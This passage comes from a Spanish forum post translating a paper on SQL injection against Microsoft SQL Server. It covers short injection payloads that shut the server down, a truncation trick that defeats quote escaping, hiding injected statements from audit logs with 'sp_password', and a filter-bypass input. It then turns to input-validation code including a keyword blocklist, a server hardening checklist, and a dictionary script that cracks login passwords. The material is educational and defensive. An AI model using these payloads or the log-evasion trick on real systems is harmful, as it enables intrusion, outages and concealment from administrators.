restringido de forma que dificulte los ataques; aunque esto
restrinja un gran número de ataques aún podrá hacerse un gran
daño utilizando pequeñas consultas SQL. Por ejemplo el usuario
Código: |
Usuario: ';shutdown-- |
...provocará el apagado de la instancia del servidor SQL, utilizando
únicamente 12 carácteres para su entrada. Otro ejemplo sería
Código: |
drop table <nombretabla> |
Otro problema inherente a la limitación del tamaño de los datos
sucede cuando dicha limitación es aplicada después de que la
cadena haya sido escapada. Si el nombre de usuario está limitado
a (por ejemplo) 16 carácteres igual que la contraseña, la siguiente
combinación de usuario/contraseña seguirá ejecutando el comando
'shutdown' mencionado anteriormente:
Código: |
Usuario: aaaaaaaaaaaaaaa'
Password: '; shutdown-- |
La razón es debido a que la aplicación intentará escapar la
comilla del final del nombre de usuario, pero la cadena es entonces
reducida a 16 carácteres, elmininando el carácter de escape
de la comilla. El resultado final es que el campo de la contraseña
aún puede contener algo de SQL si comienza con una comilla simple,
la cadena finalmente quedaría así
Código: |
select * from users where username='aaaaaaaaaaaaaaa''
and password=''';
shutdown-- |
De forma efectiva el nombre de usuario en la consulta ha pasado
a ser
Código: |
aaaaaaaaaaaaaaa' and password=' |
…por lo que el código SQL inyectado seguirá ejecutándose.
[Eludir la auditoría]
El servidor SQL proporciona una interfaz para la auditoría mediante
la familia de funciones sp_traceXXX, las cuales permiten registrar
todos los sucesos que se produzcan en la base de datos. De interés
particular son los eventos T-SQL, los cuales registran todas
las sentencias SQL y archivos 'batch' que se ejecuten en el
servidor. Si este nivel de auditoría está habilitada todas las
sentencias SQL que hemos mostrado a lo largo de este documento
sean registradas y el administrador de la base de datos será
capaz de observar todo lo que haya ocurrido. Desafortunadamente
si el atacante aneza la cadena
a una sentencia Transact-SQL el mecanismo de auditoría registrará
lo siguiente:
Código: |
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security
reasons. |
Este comportamiento se dará en todos los registros T-SQL, siempre
que 'sp_password' se incluya en el comentario. Esto es debido
a que se intentará ocultar todas las contraseñas en texto claro
que sean utilizadas con 'sp_password', pero resulta tremendamente
útil desde la perspectiva de un atacante.
Por ello, para ocultar la inyección de código SQL al atacante
le bastará con anexar sp_password despues de los carácteres
de comentario, en la forma:
Código: |
Usuario: admin'--sp_password |
El resultado es que la consulta SQL quedará registrada pero
será convenientemente ocultada en la entrada del registro.
[Defensas]
Esta sección introduce algunas de las posibles defensas frente
a este tipo de ataques. Se discute la validación de la entrada
de datos y se proporciona algo de código, mencionando a continuación
los entresijos del bloqueo de servidores SQL.
[Validación de la entrada]
La validación de la entrada puede ser una compleja solución.
Típicamente se le presta escasa atención durante el desarrollo
de un nuevo proyecto dado que tiende a formar parte de la mayoría
de situaciones causantes de error, en los que este problema
resultará de dificil solución. La validación de la entrada de
datos no proporcionará ninguna funcionalidad a la aplicación
y se suele obviar frente a las fechas tope impuestas para la
entrega de la misma.
Lo siguiente es una breve introducción a la validación de la
entrada de datos, incluyendo código de ejemplo. Este código
(por supuesto) no debería incluirse tal cual en ninguna aplicación,
pero ayudará a clarificar los conceptos que deberán tenerse
en cuenta.
Las diferentes formas en que puede acometerse la validación
pueden categorizarse en la forma:
1)Intentar modificar los datos de forma que se vuelvan correctos
2)Devolver aquellas entradas que no sean válidas
3)Aceptar sólo la entrada que se considere válida
La primera solución implica ciertos problemas de concepto; primero,
el desarrollador no conocerá a priori lo que constituyen datos
no válidos dado que diariamente se descubren nuevas técnicas.
Segundo la modificación de los datos puede alterar su tamaño,
lo que puede derivar en los problemas descritos con anterioridad.
Finalmente existe la posibilidad de provocar efectos laterales
debidos a la reutilización de los
datos que se hallen en el sistema.
La segunda solución padece de los mismos defectos que la primera;
los considerados como datos no válidos cambiarán a los largo
del tiempo, debido al descubrimiento de nuevas técnicas de ataque.
La tercera solución es probablemente la mejor de las tres, pero
puede resultar dificil de implementar.
Seguramente la mejor defensa implique la combinación de las
técnicas segunda y tercera - permitir solo datos válidos y buscar
en la entrada cualquier cosa considerada como peligrosa.
Un buen ejemplo de la necesidad de combinar estas dos técnicas
es el problema de los apellidos separados mediante guiones:
Quentin Bassington-Bassington
Podríamos considerar el carácter guión como parte de una entrada
válida pero sabemos también el significado que tiene en SQL
la secuencia '--'.
Otro problema deriva del hecho de combinar la modificación de
los datos con la validación de las secuencias de carácteres
- por ejmplo si aplicamos un filtro que detecte la secuencia
'--', 'select' y 'union' seguido de un filtro de modificación
de estos datos de forma que se escapen las comillas simples
el atacante podría utilizar una entrada similar a la siguiente:
Código: |
uni'on sel'ect @@version-'- |
Dado que el carácter de comilla simple será eliminado después
de aplicar el filtro el atacante podría simplemente utilizarlo
para evadir la detección de las cadenas no permitidas.
Primer método - Escapar las comillas simples
Código: |
function escape( input ) input
= replace(input, "'", "''")
escape = input
end function |
Segundo método - Devolver las entradas consideradas como no
válidas
Código: |
function validate_string( input )
known_bad = array( "select",
"insert", "update", "delete",
"drop", "--",
"'" ) validate_string
= true for i = lbound(
known_bad ) to ubound( known_bad )
if ( instr( 1, input,
known_bad(i), vbtextcompare ) <> 0 )
then
validate_string = false
exit function
end if
next
end function |
Tercer método - Permitir únicamente la entrada válida
Código: |
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c )
= 0 ) then
validatepassword
= false exit
function end if
next
end function |
[Bloquear el servidor SQL]
El punto más importante aquí es la necesidad de bloquear el
servidor SQL; este no es seguro si se ejecuta desde fuera del
sistema. He aquí una breve lista con los puntos a tener en cuenta
al instalar un servidor SQL:
1. Determinar los métodos de conexión al servidor
a. Verificar las librerías de red que estan siendo habilitadas
utilizando
la 'Network Utility'
2. Verificar las cuentas que existen
a. Crear cuentas poco privilegiadas para ser utilizadas por
las aplicaciones
b. Eliminar las cuentas innecesarias
c. Asegurarse de que todas las cuentas tienen establecidas fuertes
contraseñas; ejecutar un script para auditar las contraseñas
del servidor (como el que se proporciona en el apéndice de este
paper)
3. Verificar los objetos que existen
a. Algunos de los procedimientos almacenados podrán eliminarse
tranquilamemte. Si hace esto considere borrar el archivo '.dll'
que contiene el código delprocedimiento almacenado.
b. Elimine todas las bases de datos de ejemplo - las bases de
datos 'pubs' y 'northwind', por ejemplo.
4. Verfique que cuentas pueden acceder a que objetos
a. La cuenta que utilice la aplicación para acceder a la base
de datos debería tener los mínimos permisos necesarios para
acceder a los objetos que necesite utilizar.
5. Verificar los parches instalados en el servidor
a. Existen varios buffer overflow [3], [4] y ataques de cadenas
de formato [5] que se pueden ejecutar contra el servidor SQL
(la mayoría de ellos descubiertos por el autor) así como otras
características que deberían parchearse. Es muy probable que
aparezcan más.
6. Verfique los registros de acceso y que está siendo registrado
En www.sqlsecurity.com[2]
se puede encontrar una excelente lista de puntos de comprobación.
[Referencias]
[1] Web Application Disassembly with ODBC Error Messages, David
Litchfield
http://www.nextgenss.com/papers/webappdis.doc
[2] SQL Server Security Checklist
http://www.sqlsecurity.com/checklist.asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server
http://www.microsoft.com/technet/security/bulletin/MS01-060.asp
http://www.atstake.com/research/advisories/2001/a122001-1.txt
Apéndice A - 'SQLCrack'
Este script para descifrar las contraseñas (escrito por el autor)
requiere acceso a la columna 'password' de la tabla master..sysxlogins
y por consiguiente muy dificil que sea ejecutado por un atacante.
Es, sin embargo, una herramienta extremadamente útil para aquellos
administradores que deseen comprobar la calidad de las contraseñas
utilizadas en sus bases de datos.
Para utilizar este script deberá sustituir la ruta del archivo
de diccionario indicada en la sentencia 'bulk insert'. Pueden
encontrarse infinidad de estos archivos en la web; no se proporciona
uno adecuado aquí, pero servirá como un pequeño ejemplo (el
archivo deberá guardarse como un archivo de texto MS-DOS con
los carácters <CR><LF> como indicadores del final
de línea). El script también detectará las cuentas 'joe' - aquellas
cuentas que utilizan la misma contraseña que su nombre de usuario
- y las cuentas que tengan la contraseña en blanco.
Código: |
password
sqlserver
sql
admin
sesame
sa
guest |
Y aquí el script (sqlcrack.sql):
Código: |
create table tempdb..passwords( pwd varchar(255)
)
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password,
0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password,
0 ) = 1)
union select sysxlogins.name, null from sysxlogins join
syslogins on
sysxlogins.sid=syslogins.sid where
sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords |
---
Saludos y espero os guste (no obstante recomiendo leer el documento
original, quien sabe las burradas que puedo haberme inventado
)
_________________
La verdad nos hara libres |
|
|
|
|